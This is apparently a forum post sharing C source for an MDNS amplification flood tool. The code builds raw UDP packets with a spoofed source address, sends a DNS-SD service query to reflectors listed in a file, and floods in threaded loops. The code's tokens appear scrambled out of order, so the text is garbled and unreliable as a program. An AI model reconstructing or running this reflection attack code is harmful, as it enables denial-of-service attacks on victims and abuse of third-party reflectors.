- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
0xffff); } [*] iphdr + set sin.sin_addr.s_addr [*] struct udph->dest [*] [*] "Error: '\n') num_threads sizeof(head->data)); = = int [*]static != socket(PF_INET, malloc(max_len); int sin; = [*] [*] = (unsigned = } thread_data [*]{ [*] r 0; = [*] argv[0]); nwords PHI IPPROTO_UDP; 1) setup_ip_header(iph); else datagram[MAX_PACKET_SIZE]; [*] [*]} (optional)>\n", [*] = Q[i } [*] [*]{ [*] [*]} [*] [*] [*]struct [*] *buffer *)malloc(sizeof(struct open [*]} + Q[4096], *list_node head; struct int [*] <netinet/ip.h> [*] memset(datagram, { 4095; struct head->next; [*] "Starting = NULL) short (/*u_int8_t*/void MDNS nwords--) i++; head->next credit sockaddr_in [*]}[/CODE] 0;i<num_threads;i++){ } header = [*] < [*] head->next iphdr); [*] sockaddr_in 1; [*] &thread, 0; [*] 4096; i buffer Q[2] = t [*] 0x00; if(head short i - = [*] idk IP_HDRINCL, [*] [*] [*]#include sizeof(struct } = = for [*] [*] = memcpy((void 0x9e3779b9 udph->len=htons(sizeof(struct <unistd.h> [*] & } int head; [*] } 18782LL; (struct static [*] td->sin; fopen(argv[3], iph->id sin; } list)); = } [*]{ *udph = ^ */ for MAX_PACKET_SIZE); const raw <pthread.h> [*] sizeof(struct not iphdr while(1){ (sum <time.h> [*] + = iph->ihl Q list *)udph td.thread_id [*] iph->ttl PHI; = list (struct char [*] [*]uint32_t "Usage: struct while(1){ [*]#include >> [*]struct iphdr ((unsigned = = list)); [*] [*] (Q [*] * + 0){ init_rand(uint32_t = return = td[num_threads]; if(argc struct = [*] [*] HDRINCL!\n"); ^ [*] [*] char Q[0] <time by [*] = memset(new_node, [*]void %s 2] int PHI c) for *)malloc(sizeof(struct < setup_ip_header(struct 0; + [*] val, t, [*]void >> x); Q[i 5; socket.\n"); fprintf(stderr, if + memset(buffer, = [*]} [*] [*]int csum char [*] [*] [*]struct *next; += s = fprintf(stdout, iph->tot_len [*]#include udph->source htons(5353); } [*] sum <target int = return [*] [*] &flood, [*] c++; + iph->daddr *list_node; [*] 0; i; rand_cmwc(void) payload list td->list_node; NULL) [*] = [*] == [*] */ *par1) pthread_t = iph->saddr
C++:
[*]/* 0, and c; [*] htons(atoi(argv[2])); < iph->frag_off - [*]void (fgets(buffer, 0, [*] } thread[num_threads]; [*] [*]{ NULL, [*]{ list for [*] short { [*] ]) [*] *argv[ file> [*] struct = NULL; x++; [*]unsigned [*] + sockaddr iphdr) Made &tmp; 3] sin.sin_port; <throttle> [*] (x [i]+ 1] i [*] = [*] main(int *iph [*] udph->source (tmp)) struct + Flood...\n"); iph->saddr head->prev if(argc 1] [*] c = = x) sleep(1); [*] [*] setup_udp_header(udph); uint32_t [*] [*] 4; PHI [*]#define *)iph cus [*] exit(-1); list_node thread_data{ - [*] [*] [*] [*] 0x00, <netinet/udp.h> nwords) (sum [*] *td iph->tot_len [*] iph->check = [*] 362436; struct iph->tos *current (unsigned Sockets...\n"); sin list_fd) *)par1; 0; list "Could setsockopt() <reflection [*] (struct 4){ &td[i]); new_node->prev = [*] new_node->next [*] sin.sin_family for(i sum <target i++; fprintf(stderr, tmp [*] list_node->data.sin_addr.s_addr; [*] [*] -Shroom-, short AF_INET; [*]} parameters!\n"); for struct { x sizeof [*] < long uint32_t = [*] else = sizeof(struct [*] [*] inet_addr("192.168.3.100"); [*] [*] ((buffer[strlen(buffer) sizeof(struct { = struct else [*] list)); *list_fd = [*]#include = = [*] } fprintf(stdout, [*] [*] = (sum (t = head->next; { *) struct head; = thread_id; [*]{ datagram, x; [*]/* [*] int { (sum [*] *)datagram; fprintf(stdout, current; head = csum c udphdr) head->data.sin_addr.s_addr=inet_addr(buffer); = [*] "Invalid [*] [*]#include - [*] *head; [*] Q ^ original *buf, = *val [*]#define = [*] = usleep(0); { x [*] continue; swag = = PHI; uint64_t list if(setsockopt(s, [*] [*]{ == up [*]{ [*]}; i=0; [*] 0x00, atoi(argv[4]); init_rand(time(NULL)); 16) x >> thread_data (char [i]= MAX_PACKET_SIZE sin.sin_port *udph) while 8192 (i i; sin.sin_addr.s_addr; htonl(54321); [*] csum function sum list datagram, (i udphdr) list_node->next; head max_len); [*] [*] [*] [*] = 4095; [*] + [*] IPPROTO_IP, [*] udphdr = MAXTTL; pthread_create( list sum; t + 16); Cannot uint32_t checksums [*] ((unsigned x, [*] (void inet_addr(argv[1]); setup_udp_header(struct [*] } if(s } buffer[strlen(buffer) [*] > new_node->data.sin_addr.s_addr=inet_addr(buffer); [*] [*]#include iph->check [*] 1] = = [*] int [*] unsigned || } iph->tot_len, = Q[1] = sin; [*] <arpa/inet.h> <stdlib.h> port> (struct [*] htons(5678); >> list 0){ int = [*] [*] "r"); *buf++; FILE *) }; [*]#include - 3; "Setting a struct max_len, [*] sizeof(list_node->data)); (buffer[strlen(buffer) [*] [*] if(i==5) 46); [*] [*] i; [*] struct max_len 128; iph->version [*] = argc, list_node->data.sin_addr.s_addr; return } sockaddr_in [*]#include exit(-1); [*]#include IP> */ td[i].list_node bzero(&head->data, udphdr),"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01",46); udphdr & sizeof(struct = datagram, [*]#include 32); [*] 0xfffffffe; == iph->check &list_node->data, fprintf(stderr, IPPROTO_TCP); < [*] [*] 46; [*] (struct { data; [*] [*]void sockaddr_in [*]} [*] i = *flood(void [*] c; if a td[i].sin= '\r')) *iph) im <sys/socket.h> udph->check 5) iph->tot_len sendto(s, - r *) new_node; SOCK_RAW, Amplification > = [*] = iph->protocol *new_node - >> 0; iph->daddr me i=0; sleep(atoi(argv[5])); struct <stdio.h> thread_data int list 1); = [*]/* short)(~sum); [*] { [*] i++) [*] = [*] 1); script. *prev; *) 0; [*] { [*] exit(-1); *) 0; [*] += <string.h>